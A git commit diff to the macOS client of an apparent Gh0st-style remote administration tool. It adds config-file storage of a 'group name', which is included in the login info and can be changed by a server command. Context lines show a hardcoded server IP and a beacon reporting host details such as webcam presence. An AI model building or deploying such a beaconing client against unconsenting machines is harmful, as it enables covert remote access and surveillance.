Feature: Persist group name to config file and include in login info

This commit is contained in:
yuanyuanxiang
2026-05-02 00:58:54 +02:00
parent 8ed9ba8426
commit 171fa750e5
2 changed files with 173 additions and 4 deletions

View File

@@ -1,5 +1,6 @@
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <sys/stat.h>
#import <mach/mach.h>
#import <mach-o/dyld.h>
#import <pwd.h>
@@ -12,6 +13,7 @@
#import <atomic>
#import <memory>
#import <string>
#import <map>
#import "../client/IOCPClient.h"
#define XXH_INLINE_ALL
@@ -32,6 +34,103 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_M
State g_bExit = S_CLIENT_NORMAL;
// ============== Configuration File Functions ==============
// Config path: ~/.config/ghost/config.conf (same as Linux)
// Format: key=value (one per line)
static std::string g_configDir;
static std::string g_configPath;
static std::map<std::string, std::string> g_configData;
// Initialize config paths
static void initConfigPaths()
{
if (!g_configDir.empty()) return; // Already initialized
const char* home = getenv("HOME");
if (!home) {
struct passwd* pw = getpwuid(getuid());
if (pw) home = pw->pw_dir;
}
if (!home) home = "/tmp";
g_configDir = std::string(home) + "/.config/ghost";
g_configPath = g_configDir + "/config.conf";
}
// Recursively create directory
static void mkdirRecursive(const std::string& path)
{
size_t pos = 0;
while ((pos = path.find('/', pos + 1)) != std::string::npos) {
mkdir(path.substr(0, pos).c_str(), 0755);
}
mkdir(path.c_str(), 0755);
}
// Load all config from file
static void loadConfig()
{
initConfigPaths();
g_configData.clear();
std::ifstream file(g_configPath);
if (!file.is_open()) return;
std::string line;
while (std::getline(file, line)) {
size_t eq = line.find('=');
if (eq != std::string::npos) {
g_configData[line.substr(0, eq)] = line.substr(eq + 1);
}
}
}
// Save all config to file
static void saveConfig()
{
initConfigPaths();
mkdirRecursive(g_configDir);
std::ofstream file(g_configPath, std::ios::trunc);
if (!file.is_open()) {
NSLog(@"Failed to save config to %s", g_configPath.c_str());
return;
}
for (const auto& kv : g_configData) {
file << kv.first << "=" << kv.second << "\n";
}
NSLog(@"Config saved to %s", g_configPath.c_str());
}
// Get config string value
static std::string getConfigStr(const std::string& key, const std::string& def = "")
{
auto it = g_configData.find(key);
return it != g_configData.end() ? it->second : def;
}
// Set config string value
static void setConfigStr(const std::string& key, const std::string& value)
{
g_configData[key] = value;
saveConfig();
}
// Save group name to config file
static void saveGroupName(const std::string& groupName)
{
setConfigStr("group_name", groupName);
NSLog(@"Group name saved: %s", groupName.c_str());
}
// Load group name from config file
static std::string loadGroupName()
{
return getConfigStr("group_name");
}
// ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
@@ -363,9 +462,25 @@ static void fillLoginInfo(LOGIN_INFOR& info)
// CPU MHz
info.dwCPUMHz = getCPUFrequencyMHz();
// PC Name (hostname)
// PC Name (hostname) - with group name if set
std::string hostname = getHostname();
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
std::string groupName = loadGroupName();
if (!groupName.empty()) {
// Also update g_SETTINGS for consistency
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0';
// Format: "hostname/groupname"
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else if (g_SETTINGS.szGroupName[0] != 0) {
// Use group from g_SETTINGS (set at build time)
groupName = g_SETTINGS.szGroupName;
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else {
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
}
info.szPCName[sizeof(info.szPCName) - 1] = '\0';
// Webcam
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
@@ -569,6 +684,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
}
} else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else if (szBuffer[0] == CMD_SET_GROUP) {
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
// Remove trailing nulls
size_t pos = groupName.find('\0');
if (pos != std::string::npos) {
groupName = groupName.substr(0, pos);
}
}
// Save to config file
saveGroupName(groupName);
// Update global settings
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
@@ -610,6 +742,10 @@ int main(int argc, const char* argv[])
// Setup signal handlers
setupSignals();
// Load configuration file (~/.config/ghost/config.conf)
loadConfig();
NSLog(@"Config loaded from %s", g_configPath.c_str());
// Check permissions
NSLog(@"Checking permissions...");